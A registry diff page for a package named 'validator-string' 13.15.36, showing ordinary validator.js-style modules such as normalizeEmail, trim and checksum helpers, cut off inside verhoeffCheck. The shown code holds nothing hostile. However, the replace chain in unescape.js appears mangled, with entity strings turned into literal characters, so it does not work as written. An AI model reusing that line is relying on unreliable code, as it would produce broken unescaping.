validator-string 13.15.36
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +20 -0
- package/README.md +269 -0
- package/es/index.js +218 -0
- package/es/lib/alpha.js +151 -0
- package/es/lib/blacklist.js +5 -0
- package/es/lib/contains.js +15 -0
- package/es/lib/equals.js +5 -0
- package/es/lib/escape.js +5 -0
- package/es/lib/isAbaRouting.js +15 -0
- package/es/lib/isAfter.js +10 -0
- package/es/lib/isAlpha.js +23 -0
- package/es/lib/isAlphanumeric.js +23 -0
- package/es/lib/isAscii.js +10 -0
- package/es/lib/isBIC.js +16 -0
- package/es/lib/isBase32.js +15 -0
- package/es/lib/isBase58.js +8 -0
- package/es/lib/isBase64.js +23 -0
- package/es/lib/isBefore.js +10 -0
- package/es/lib/isBoolean.js +15 -0
- package/es/lib/isBtcAddress.js +7 -0
- package/es/lib/isByteLength.js +19 -0
- package/es/lib/isCreditCard.js +43 -0
- package/es/lib/isCurrency.js +74 -0
- package/es/lib/isDataURI.js +31 -0
- package/es/lib/isDate.js +93 -0
- package/es/lib/isDecimal.js +22 -0
- package/es/lib/isDivisibleBy.js +6 -0
- package/es/lib/isEAN.js +70 -0
- package/es/lib/isEmail.js +165 -0
- package/es/lib/isEmpty.js +10 -0
- package/es/lib/isEthereumAddress.js +6 -0
- package/es/lib/isFQDN.js +67 -0
- package/es/lib/isFloat.js +14 -0
- package/es/lib/isFullWidth.js +6 -0
- package/es/lib/isHSL.js +13 -0
- package/es/lib/isHalfWidth.js +6 -0
- package/es/lib/isHash.js +21 -0
- package/es/lib/isHexColor.js +13 -0
- package/es/lib/isHexadecimal.js +6 -0
- package/es/lib/isIBAN.js +171 -0
- package/es/lib/isIMEI.js +40 -0
- package/es/lib/isIP.js +58 -0
- package/es/lib/isIPRange.js +41 -0
- package/es/lib/isISBN.js +47 -0
- package/es/lib/isISIN.js +55 -0
- package/es/lib/isISO15924.js +9 -0
- package/es/lib/isISO31661Alpha2.js +21 -0
- package/es/lib/isISO31661Alpha3.js +20 -0
- package/es/lib/isISO31661Numeric.js +8 -0
- package/es/lib/isISO4217.js +9 -0
- package/es/lib/isISO6346.js +28 -0
- package/es/lib/isISO6391.js +6 -0
- package/es/lib/isISO8601.js +42 -0
- package/es/lib/isISRC.js +8 -0
- package/es/lib/isISSN.js +19 -0
- package/es/lib/isIdentityCard.js +407 -0
- package/es/lib/isIn.js +23 -0
- package/es/lib/isInt.js +19 -0
- package/es/lib/isJSON.js +26 -0
- package/es/lib/isJWT.js +15 -0
- package/es/lib/isLatLong.js +21 -0
- package/es/lib/isLength.js +27 -0
- package/es/lib/isLicensePlate.js +58 -0
- package/es/lib/isLocale.js +107 -0
- package/es/lib/isLowercase.js +5 -0
- package/es/lib/isLuhnNumber.js +25 -0
- package/es/lib/isMACAddress.js +36 -0
- package/es/lib/isMD5.js +6 -0
- package/es/lib/isMagnetURI.js +9 -0
- package/es/lib/isMailtoURI.js +75 -0
- package/es/lib/isMimeType.js +40 -0
- package/es/lib/isMobilePhone.js +212 -0
- package/es/lib/isMongoId.js +6 -0
- package/es/lib/isMultibyte.js +10 -0
- package/es/lib/isNumeric.js +10 -0
- package/es/lib/isOctal.js +6 -0
- package/es/lib/isPassportNumber.js +145 -0
- package/es/lib/isPort.js +8 -0
- package/es/lib/isPostalCode.js +100 -0
- package/es/lib/isRFC3339.js +21 -0
- package/es/lib/isRgbColor.js +34 -0
- package/es/lib/isSemVer.js +14 -0
- package/es/lib/isSlug.js +6 -0
- package/es/lib/isStrongPassword.js +90 -0
- package/es/lib/isSurrogatePair.js +6 -0
- package/es/lib/isTaxID.js +1407 -0
- package/es/lib/isTime.js +22 -0
- package/es/lib/isULID.js +5 -0
- package/es/lib/isURL.js +241 -0
- package/es/lib/isUUID.js +23 -0
- package/es/lib/isUppercase.js +5 -0
- package/es/lib/isVAT.js +264 -0
- package/es/lib/isVariableWidth.js +7 -0
- package/es/lib/isWhitelisted.js +10 -0
- package/es/lib/ltrim.js +7 -0
- package/es/lib/matches.js +8 -0
- package/es/lib/normalizeEmail.js +131 -0
- package/es/lib/rtrim.js +15 -0
- package/es/lib/stripLow.js +7 -0
- package/es/lib/toBoolean.js +8 -0
- package/es/lib/toDate.js +6 -0
- package/es/lib/toFloat.js +5 -0
- package/es/lib/toInt.js +5 -0
- package/es/lib/trim.js +5 -0
- package/es/lib/unescape.js +8 -0
- package/es/lib/util/algorithms.js +79 -0
- package/es/lib/util/assertString.js +4 -0
- package/es/lib/util/checkHost.js +12 -0
- package/es/lib/util/includesArray.js +6 -0
- package/es/lib/util/includesString.js +4 -0
- package/es/lib/util/merge.js +14 -0
- package/es/lib/util/multilineRegex.js +12 -0
- package/es/lib/util/nullUndefinedCheck.js +3 -0
- package/es/lib/util/toString.js +13 -0
- package/es/lib/util/typeOf.js +10 -0
- package/es/lib/whitelist.js +5 -0
- package/index.js +229 -0
- package/lib/alpha.js +157 -0
- package/lib/blacklist.js +14 -0
- package/lib/contains.js +24 -0
- package/lib/equals.js +14 -0
- package/lib/escape.js +14 -0
- package/lib/isAbaRouting.js +23 -0
- package/lib/isAfter.js +19 -0
- package/lib/isAlpha.js +31 -0
- package/lib/isAlphanumeric.js +31 -0
- package/lib/isAscii.js +18 -0
- package/lib/isBIC.js +24 -0
- package/lib/isBase32.js +24 -0
- package/lib/isBase58.js +16 -0
- package/lib/isBase64.js +32 -0
- package/lib/isBefore.js +19 -0
- package/lib/isBoolean.js +24 -0
- package/lib/isBtcAddress.js +16 -0
- package/lib/isByteLength.js +27 -0
- package/lib/isCreditCard.js +52 -0
- package/lib/isCurrency.js +83 -0
- package/lib/isDataURI.js +40 -0
- package/lib/isDate.js +102 -0
- package/lib/isDecimal.js +31 -0
- package/lib/isDivisibleBy.js +15 -0
- package/lib/isEAN.js +78 -0
- package/lib/isEmail.js +174 -0
- package/lib/isEmpty.js +19 -0
- package/lib/isEthereumAddress.js +15 -0
- package/lib/isFQDN.js +76 -0
- package/lib/isFloat.js +22 -0
- package/lib/isFullWidth.js +14 -0
- package/lib/isHSL.js +22 -0
- package/lib/isHalfWidth.js +14 -0
- package/lib/isHash.js +30 -0
- package/lib/isHexColor.js +22 -0
- package/lib/isHexadecimal.js +15 -0
- package/lib/isIBAN.js +178 -0
- package/lib/isIMEI.js +49 -0
- package/lib/isIP.js +67 -0
- package/lib/isIPRange.js +50 -0
- package/lib/isISBN.js +56 -0
- package/lib/isISIN.js +64 -0
- package/lib/isISO15924.js +16 -0
- package/lib/isISO31661Alpha2.js +28 -0
- package/lib/isISO31661Alpha3.js +28 -0
- package/lib/isISO31661Numeric.js +16 -0
- package/lib/isISO4217.js +16 -0
- package/lib/isISO6346.js +35 -0
- package/lib/isISO6391.js +15 -0
- package/lib/isISO8601.js +50 -0
- package/lib/isISRC.js +16 -0
- package/lib/isISSN.js +28 -0
- package/lib/isIdentityCard.js +416 -0
- package/lib/isIn.js +32 -0
- package/lib/isInt.js +28 -0
- package/lib/isJSON.js +35 -0
- package/lib/isJWT.js +24 -0
- package/lib/isLatLong.js +30 -0
- package/lib/isLength.js +35 -0
- package/lib/isLicensePlate.js +67 -0
- package/lib/isLocale.js +115 -0
- package/lib/isLowercase.js +14 -0
- package/lib/isLuhnNumber.js +34 -0
- package/lib/isMACAddress.js +45 -0
- package/lib/isMD5.js +15 -0
- package/lib/isMagnetURI.js +18 -0
- package/lib/isMailtoURI.js +84 -0
- package/lib/isMimeType.js +48 -0
- package/lib/isMobilePhone.js +219 -0
- package/lib/isMongoId.js +15 -0
- package/lib/isMultibyte.js +18 -0
- package/lib/isNumeric.js +19 -0
- package/lib/isOctal.js +15 -0
- package/lib/isPassportNumber.js +152 -0
- package/lib/isPort.js +17 -0
- package/lib/isPostalCode.js +107 -0
- package/lib/isRFC3339.js +29 -0
- package/lib/isRgbColor.js +42 -0
- package/lib/isSemVer.js +22 -0
- package/lib/isSlug.js +15 -0
- package/lib/isStrongPassword.js +99 -0
- package/lib/isSurrogatePair.js +15 -0
- package/lib/isTaxID.js +1417 -0
- package/lib/isTime.js +31 -0
- package/lib/isULID.js +14 -0
- package/lib/isURL.js +249 -0
- package/lib/isUUID.js +32 -0
- package/lib/isUppercase.js +14 -0
- package/lib/isVAT.js +274 -0
- package/lib/isVariableWidth.js +16 -0
- package/lib/isWhitelisted.js +19 -0
- package/lib/ltrim.js +16 -0
- package/lib/matches.js +17 -0
- package/lib/normalizeEmail.js +140 -0
- package/lib/rtrim.js +24 -0
- package/lib/stripLow.js +16 -0
- package/lib/toBoolean.js +17 -0
- package/lib/toDate.js +15 -0
- package/lib/toFloat.js +14 -0
- package/lib/toInt.js +14 -0
- package/lib/trim.js +14 -0
- package/lib/unescape.js +17 -0
- package/lib/util/algorithms.js +88 -0
- package/lib/util/assertString.js +12 -0
- package/lib/util/checkHost.js +20 -0
- package/lib/util/includesArray.js +14 -0
- package/lib/util/includesString.js +12 -0
- package/lib/util/merge.js +22 -0
- package/lib/util/multilineRegex.js +20 -0
- package/lib/util/nullUndefinedCheck.js +11 -0
- package/lib/util/toString.js +21 -0
- package/lib/util/typeOf.js +18 -0
- package/lib/whitelist.js +14 -0
- package/package.json +83 -0
- package/validator.js +5808 -0
- package/validator.min.js +23 -0
package/lib/matches.js
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = matches;
|
|
7
|
+
var _assertString = _interopRequireDefault(require("./util/assertString"));
|
|
8
|
+
function _interopRequireDefault(e) { return e && e.__esModule ? e : { default: e }; }
|
|
9
|
+
function matches(str, pattern, modifiers) {
|
|
10
|
+
(0, _assertString.default)(str);
|
|
11
|
+
if (Object.prototype.toString.call(pattern) !== '[object RegExp]') {
|
|
12
|
+
pattern = new RegExp(pattern, modifiers);
|
|
13
|
+
}
|
|
14
|
+
return !!str.match(pattern);
|
|
15
|
+
}
|
|
16
|
+
module.exports = exports.default;
|
|
17
|
+
module.exports.default = exports.default;
|
|
@@ -0,0 +1,140 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = normalizeEmail;
|
|
7
|
+
var _merge = _interopRequireDefault(require("./util/merge"));
|
|
8
|
+
function _interopRequireDefault(e) { return e && e.__esModule ? e : { default: e }; }
|
|
9
|
+
var default_normalize_email_options = {
|
|
10
|
+
// The following options apply to all email addresses
|
|
11
|
+
// Lowercases the local part of the email address.
|
|
12
|
+
// Please note this may violate RFC 5321 as per http://stackoverflow.com/a/9808332/192024).
|
|
13
|
+
// The domain is always lowercased, as per RFC 1035
|
|
14
|
+
all_lowercase: true,
|
|
15
|
+
// The following conversions are specific to GMail
|
|
16
|
+
// Lowercases the local part of the GMail address (known to be case-insensitive)
|
|
17
|
+
gmail_lowercase: true,
|
|
18
|
+
// Removes dots from the local part of the email address, as that's ignored by GMail
|
|
19
|
+
gmail_remove_dots: true,
|
|
20
|
+
// Removes the subaddress (e.g. "+foo") from the email address
|
|
21
|
+
gmail_remove_subaddress: true,
|
|
22
|
+
// Conversts the googlemail.com domain to gmail.com
|
|
23
|
+
gmail_convert_googlemaildotcom: true,
|
|
24
|
+
// The following conversions are specific to Outlook.com / Windows Live / Hotmail
|
|
25
|
+
// Lowercases the local part of the Outlook.com address (known to be case-insensitive)
|
|
26
|
+
outlookdotcom_lowercase: true,
|
|
27
|
+
// Removes the subaddress (e.g. "+foo") from the email address
|
|
28
|
+
outlookdotcom_remove_subaddress: true,
|
|
29
|
+
// The following conversions are specific to Yahoo
|
|
30
|
+
// Lowercases the local part of the Yahoo address (known to be case-insensitive)
|
|
31
|
+
yahoo_lowercase: true,
|
|
32
|
+
// Removes the subaddress (e.g. "-foo") from the email address
|
|
33
|
+
yahoo_remove_subaddress: true,
|
|
34
|
+
// The following conversions are specific to Yandex
|
|
35
|
+
// Lowercases the local part of the Yandex address (known to be case-insensitive)
|
|
36
|
+
yandex_lowercase: true,
|
|
37
|
+
// all yandex domains are equal, this explicitly sets the domain to 'yandex.ru'
|
|
38
|
+
yandex_convert_yandexru: true,
|
|
39
|
+
// The following conversions are specific to iCloud
|
|
40
|
+
// Lowercases the local part of the iCloud address (known to be case-insensitive)
|
|
41
|
+
icloud_lowercase: true,
|
|
42
|
+
// Removes the subaddress (e.g. "+foo") from the email address
|
|
43
|
+
icloud_remove_subaddress: true
|
|
44
|
+
};
|
|
45
|
+
|
|
46
|
+
// List of domains used by iCloud
|
|
47
|
+
var icloud_domains = ['icloud.com', 'me.com'];
|
|
48
|
+
|
|
49
|
+
// List of domains used by Outlook.com and its predecessors
|
|
50
|
+
// This list is likely incomplete.
|
|
51
|
+
// Partial reference:
|
|
52
|
+
// https://blogs.office.com/2013/04/17/outlook-com-gets-two-step-verification-sign-in-by-alias-and-new-international-domains/
|
|
53
|
+
var outlookdotcom_domains = ['hotmail.at', 'hotmail.be', 'hotmail.ca', 'hotmail.cl', 'hotmail.co.il', 'hotmail.co.nz', 'hotmail.co.th', 'hotmail.co.uk', 'hotmail.com', 'hotmail.com.ar', 'hotmail.com.au', 'hotmail.com.br', 'hotmail.com.gr', 'hotmail.com.mx', 'hotmail.com.pe', 'hotmail.com.tr', 'hotmail.com.vn', 'hotmail.cz', 'hotmail.de', 'hotmail.dk', 'hotmail.es', 'hotmail.fr', 'hotmail.hu', 'hotmail.id', 'hotmail.ie', 'hotmail.in', 'hotmail.it', 'hotmail.jp', 'hotmail.kr', 'hotmail.lv', 'hotmail.my', 'hotmail.ph', 'hotmail.pt', 'hotmail.sa', 'hotmail.sg', 'hotmail.sk', 'live.be', 'live.co.uk', 'live.com', 'live.com.ar', 'live.com.mx', 'live.de', 'live.es', 'live.eu', 'live.fr', 'live.it', 'live.nl', 'msn.com', 'outlook.at', 'outlook.be', 'outlook.cl', 'outlook.co.il', 'outlook.co.nz', 'outlook.co.th', 'outlook.com', 'outlook.com.ar', 'outlook.com.au', 'outlook.com.br', 'outlook.com.gr', 'outlook.com.pe', 'outlook.com.tr', 'outlook.com.vn', 'outlook.cz', 'outlook.de', 'outlook.dk', 'outlook.es', 'outlook.fr', 'outlook.hu', 'outlook.id', 'outlook.ie', 'outlook.in', 'outlook.it', 'outlook.jp', 'outlook.kr', 'outlook.lv', 'outlook.my', 'outlook.ph', 'outlook.pt', 'outlook.sa', 'outlook.sg', 'outlook.sk', 'passport.com'];
|
|
54
|
+
|
|
55
|
+
// List of domains used by Yahoo Mail
|
|
56
|
+
// This list is likely incomplete
|
|
57
|
+
var yahoo_domains = ['rocketmail.com', 'yahoo.ca', 'yahoo.co.uk', 'yahoo.com', 'yahoo.de', 'yahoo.fr', 'yahoo.in', 'yahoo.it', 'ymail.com'];
|
|
58
|
+
|
|
59
|
+
// List of domains used by yandex.ru
|
|
60
|
+
var yandex_domains = ['yandex.ru', 'yandex.ua', 'yandex.kz', 'yandex.com', 'yandex.by', 'ya.ru'];
|
|
61
|
+
|
|
62
|
+
// replace single dots, but not multiple consecutive dots
|
|
63
|
+
function dotsReplacer(match) {
|
|
64
|
+
if (match.length > 1) {
|
|
65
|
+
return match;
|
|
66
|
+
}
|
|
67
|
+
return '';
|
|
68
|
+
}
|
|
69
|
+
function normalizeEmail(email, options) {
|
|
70
|
+
options = (0, _merge.default)(options, default_normalize_email_options);
|
|
71
|
+
var raw_parts = email.split('@');
|
|
72
|
+
var domain = raw_parts.pop();
|
|
73
|
+
var user = raw_parts.join('@');
|
|
74
|
+
var parts = [user, domain];
|
|
75
|
+
|
|
76
|
+
// The domain is always lowercased, as it's case-insensitive per RFC 1035
|
|
77
|
+
parts[1] = parts[1].toLowerCase();
|
|
78
|
+
if (parts[1] === 'gmail.com' || parts[1] === 'googlemail.com') {
|
|
79
|
+
// Address is GMail
|
|
80
|
+
if (options.gmail_remove_subaddress) {
|
|
81
|
+
parts[0] = parts[0].split('+')[0];
|
|
82
|
+
}
|
|
83
|
+
if (options.gmail_remove_dots) {
|
|
84
|
+
// this does not replace consecutive dots like example..email@gmail.com
|
|
85
|
+
parts[0] = parts[0].replace(/\.+/g, dotsReplacer);
|
|
86
|
+
}
|
|
87
|
+
if (!parts[0].length) {
|
|
88
|
+
return false;
|
|
89
|
+
}
|
|
90
|
+
if (options.all_lowercase || options.gmail_lowercase) {
|
|
91
|
+
parts[0] = parts[0].toLowerCase();
|
|
92
|
+
}
|
|
93
|
+
parts[1] = options.gmail_convert_googlemaildotcom ? 'gmail.com' : parts[1];
|
|
94
|
+
} else if (icloud_domains.indexOf(parts[1]) >= 0) {
|
|
95
|
+
// Address is iCloud
|
|
96
|
+
if (options.icloud_remove_subaddress) {
|
|
97
|
+
parts[0] = parts[0].split('+')[0];
|
|
98
|
+
}
|
|
99
|
+
if (!parts[0].length) {
|
|
100
|
+
return false;
|
|
101
|
+
}
|
|
102
|
+
if (options.all_lowercase || options.icloud_lowercase) {
|
|
103
|
+
parts[0] = parts[0].toLowerCase();
|
|
104
|
+
}
|
|
105
|
+
} else if (outlookdotcom_domains.indexOf(parts[1]) >= 0) {
|
|
106
|
+
// Address is Outlook.com
|
|
107
|
+
if (options.outlookdotcom_remove_subaddress) {
|
|
108
|
+
parts[0] = parts[0].split('+')[0];
|
|
109
|
+
}
|
|
110
|
+
if (!parts[0].length) {
|
|
111
|
+
return false;
|
|
112
|
+
}
|
|
113
|
+
if (options.all_lowercase || options.outlookdotcom_lowercase) {
|
|
114
|
+
parts[0] = parts[0].toLowerCase();
|
|
115
|
+
}
|
|
116
|
+
} else if (yahoo_domains.indexOf(parts[1]) >= 0) {
|
|
117
|
+
// Address is Yahoo
|
|
118
|
+
if (options.yahoo_remove_subaddress) {
|
|
119
|
+
var components = parts[0].split('-');
|
|
120
|
+
parts[0] = components.length > 1 ? components.slice(0, -1).join('-') : components[0];
|
|
121
|
+
}
|
|
122
|
+
if (!parts[0].length) {
|
|
123
|
+
return false;
|
|
124
|
+
}
|
|
125
|
+
if (options.all_lowercase || options.yahoo_lowercase) {
|
|
126
|
+
parts[0] = parts[0].toLowerCase();
|
|
127
|
+
}
|
|
128
|
+
} else if (yandex_domains.indexOf(parts[1]) >= 0) {
|
|
129
|
+
if (options.all_lowercase || options.yandex_lowercase) {
|
|
130
|
+
parts[0] = parts[0].toLowerCase();
|
|
131
|
+
}
|
|
132
|
+
parts[1] = options.yandex_convert_yandexru ? 'yandex.ru' : parts[1];
|
|
133
|
+
} else if (options.all_lowercase) {
|
|
134
|
+
// Any other address
|
|
135
|
+
parts[0] = parts[0].toLowerCase();
|
|
136
|
+
}
|
|
137
|
+
return parts.join('@');
|
|
138
|
+
}
|
|
139
|
+
module.exports = exports.default;
|
|
140
|
+
module.exports.default = exports.default;
|
package/lib/rtrim.js
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = rtrim;
|
|
7
|
+
var _assertString = _interopRequireDefault(require("./util/assertString"));
|
|
8
|
+
function _interopRequireDefault(e) { return e && e.__esModule ? e : { default: e }; }
|
|
9
|
+
function rtrim(str, chars) {
|
|
10
|
+
(0, _assertString.default)(str);
|
|
11
|
+
if (chars) {
|
|
12
|
+
// https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#Escaping
|
|
13
|
+
var pattern = new RegExp("[".concat(chars.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'), "]+$"), 'g');
|
|
14
|
+
return str.replace(pattern, '');
|
|
15
|
+
}
|
|
16
|
+
// Use a faster and more safe than regex trim method https://blog.stevenlevithan.com/archives/faster-trim-javascript
|
|
17
|
+
var strIndex = str.length - 1;
|
|
18
|
+
while (/\s/.test(str.charAt(strIndex))) {
|
|
19
|
+
strIndex -= 1;
|
|
20
|
+
}
|
|
21
|
+
return str.slice(0, strIndex + 1);
|
|
22
|
+
}
|
|
23
|
+
module.exports = exports.default;
|
|
24
|
+
module.exports.default = exports.default;
|
package/lib/stripLow.js
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = stripLow;
|
|
7
|
+
var _assertString = _interopRequireDefault(require("./util/assertString"));
|
|
8
|
+
var _blacklist = _interopRequireDefault(require("./blacklist"));
|
|
9
|
+
function _interopRequireDefault(e) { return e && e.__esModule ? e : { default: e }; }
|
|
10
|
+
function stripLow(str, keep_new_lines) {
|
|
11
|
+
(0, _assertString.default)(str);
|
|
12
|
+
var chars = keep_new_lines ? '\\x00-\\x09\\x0B\\x0C\\x0E-\\x1F\\x7F' : '\\x00-\\x1F\\x7F';
|
|
13
|
+
return (0, _blacklist.default)(str, chars);
|
|
14
|
+
}
|
|
15
|
+
module.exports = exports.default;
|
|
16
|
+
module.exports.default = exports.default;
|
package/lib/toBoolean.js
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = toBoolean;
|
|
7
|
+
var _assertString = _interopRequireDefault(require("./util/assertString"));
|
|
8
|
+
function _interopRequireDefault(e) { return e && e.__esModule ? e : { default: e }; }
|
|
9
|
+
function toBoolean(str, strict) {
|
|
10
|
+
(0, _assertString.default)(str);
|
|
11
|
+
if (strict) {
|
|
12
|
+
return str === '1' || /^true$/i.test(str);
|
|
13
|
+
}
|
|
14
|
+
return str !== '0' && !/^false$/i.test(str) && str !== '';
|
|
15
|
+
}
|
|
16
|
+
module.exports = exports.default;
|
|
17
|
+
module.exports.default = exports.default;
|
package/lib/toDate.js
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = toDate;
|
|
7
|
+
var _assertString = _interopRequireDefault(require("./util/assertString"));
|
|
8
|
+
function _interopRequireDefault(e) { return e && e.__esModule ? e : { default: e }; }
|
|
9
|
+
function toDate(date) {
|
|
10
|
+
(0, _assertString.default)(date);
|
|
11
|
+
date = Date.parse(date);
|
|
12
|
+
return !isNaN(date) ? new Date(date) : null;
|
|
13
|
+
}
|
|
14
|
+
module.exports = exports.default;
|
|
15
|
+
module.exports.default = exports.default;
|
package/lib/toFloat.js
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = toFloat;
|
|
7
|
+
var _isFloat = _interopRequireDefault(require("./isFloat"));
|
|
8
|
+
function _interopRequireDefault(e) { return e && e.__esModule ? e : { default: e }; }
|
|
9
|
+
function toFloat(str) {
|
|
10
|
+
if (!(0, _isFloat.default)(str)) return NaN;
|
|
11
|
+
return parseFloat(str);
|
|
12
|
+
}
|
|
13
|
+
module.exports = exports.default;
|
|
14
|
+
module.exports.default = exports.default;
|
package/lib/toInt.js
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = toInt;
|
|
7
|
+
var _assertString = _interopRequireDefault(require("./util/assertString"));
|
|
8
|
+
function _interopRequireDefault(e) { return e && e.__esModule ? e : { default: e }; }
|
|
9
|
+
function toInt(str, radix) {
|
|
10
|
+
(0, _assertString.default)(str);
|
|
11
|
+
return parseInt(str, radix || 10);
|
|
12
|
+
}
|
|
13
|
+
module.exports = exports.default;
|
|
14
|
+
module.exports.default = exports.default;
|
package/lib/trim.js
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = trim;
|
|
7
|
+
var _rtrim = _interopRequireDefault(require("./rtrim"));
|
|
8
|
+
var _ltrim = _interopRequireDefault(require("./ltrim"));
|
|
9
|
+
function _interopRequireDefault(e) { return e && e.__esModule ? e : { default: e }; }
|
|
10
|
+
function trim(str, chars) {
|
|
11
|
+
return (0, _rtrim.default)((0, _ltrim.default)(str, chars), chars);
|
|
12
|
+
}
|
|
13
|
+
module.exports = exports.default;
|
|
14
|
+
module.exports.default = exports.default;
|
package/lib/unescape.js
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.default = unescape;
|
|
7
|
+
var _assertString = _interopRequireDefault(require("./util/assertString"));
|
|
8
|
+
function _interopRequireDefault(e) { return e && e.__esModule ? e : { default: e }; }
|
|
9
|
+
function unescape(str) {
|
|
10
|
+
(0, _assertString.default)(str);
|
|
11
|
+
return str.replace(/"/g, '"').replace(/'/g, "'").replace(/</g, '<').replace(/>/g, '>').replace(///g, '/').replace(/\/g, '\\').replace(/`/g, '`').replace(/&/g, '&');
|
|
12
|
+
// & replacement has to be the last one to prevent
|
|
13
|
+
// bugs with intermediate strings containing escape sequences
|
|
14
|
+
// See: https://github.com/validatorjs/validator.js/issues/1827
|
|
15
|
+
}
|
|
16
|
+
module.exports = exports.default;
|
|
17
|
+
module.exports.default = exports.default;
|
|
@@ -0,0 +1,88 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
|
|
3
|
+
Object.defineProperty(exports, "__esModule", {
|
|
4
|
+
value: true
|
|
5
|
+
});
|
|
6
|
+
exports.iso7064Check = iso7064Check;
|
|
7
|
+
exports.luhnCheck = luhnCheck;
|
|
8
|
+
exports.reverseMultiplyAndSum = reverseMultiplyAndSum;
|
|
9
|
+
exports.verhoeffCheck = verhoeffCheck;
|
|
10
|
+
/**
|
|
11
|
+
* Algorithmic validation functions
|
|
12
|
+
* May be used as is or implemented in the workflow of other validators.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
/*
|
|
16
|
+
* ISO 7064 validation function
|
|
17
|
+
* Called with a string of numbers (incl. check digit)
|
|
18
|
+
* to validate according to ISO 7064 (MOD 11, 10).
|
|
19
|
+
*/
|
|
20
|
+
function iso7064Check(str) {
|
|
21
|
+
var checkvalue = 10;
|
|
22
|
+
for (var i = 0; i < str.length - 1; i++) {
|
|
23
|
+
checkvalue = (parseInt(str[i], 10) + checkvalue) % 10 === 0 ? 10 * 2 % 11 : (parseInt(str[i], 10) + checkvalue) % 10 * 2 % 11;
|
|
24
|
+
}
|
|
25
|
+
checkvalue = checkvalue === 1 ? 0 : 11 - checkvalue;
|
|
26
|
+
return checkvalue === parseInt(str[10], 10);
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
/*
|
|
30
|
+
* Luhn (mod 10) validation function
|
|
31
|
+
* Called with a string of numbers (incl. check digit)
|
|
32
|
+
* to validate according to the Luhn algorithm.
|
|
33
|
+
*/
|
|
34
|
+
function luhnCheck(str) {
|
|
35
|
+
var checksum = 0;
|
|
36
|
+
var second = false;
|
|
37
|
+
for (var i = str.length - 1; i >= 0; i--) {
|
|
38
|
+
if (second) {
|
|
39
|
+
var product = parseInt(str[i], 10) * 2;
|
|
40
|
+
if (product > 9) {
|
|
41
|
+
// sum digits of product and add to checksum
|
|
42
|
+
checksum += product.toString().split('').map(function (a) {
|
|
43
|
+
return parseInt(a, 10);
|
|
44
|
+
}).reduce(function (a, b) {
|
|
45
|
+
return a + b;
|
|
46
|
+
}, 0);
|
|
47
|
+
} else {
|
|
48
|
+
checksum += product;
|
|
49
|
+
}
|
|
50
|
+
} else {
|
|
51
|
+
checksum += parseInt(str[i], 10);
|
|
52
|
+
}
|
|
53
|
+
second = !second;
|
|
54
|
+
}
|
|
55
|
+
return checksum % 10 === 0;
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
/*
|
|
59
|
+
* Reverse TIN multiplication and summation helper function
|
|
60
|
+
* Called with an array of single-digit integers and a base multiplier
|
|
61
|
+
* to calculate the sum of the digits multiplied in reverse.
|
|
62
|
+
* Normally used in variations of MOD 11 algorithmic checks.
|
|
63
|
+
*/
|
|
64
|
+
function reverseMultiplyAndSum(digits, base) {
|
|
65
|
+
var total = 0;
|
|
66
|
+
for (var i = 0; i < digits.length; i++) {
|
|
67
|
+
total += digits[i] * (base - i);
|
|
68
|
+
}
|
|
69
|
+
return total;
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
/*
|
|
73
|
+
* Verhoeff validation helper function
|
|
74
|
+
* Called with a string of numbers
|
|
75
|
+
* to validate according to the Verhoeff algorithm.
|
|
76
|
+
*/
|
|
77
|
+
function verhoeffCheck(str) {
|
|
78
|
+
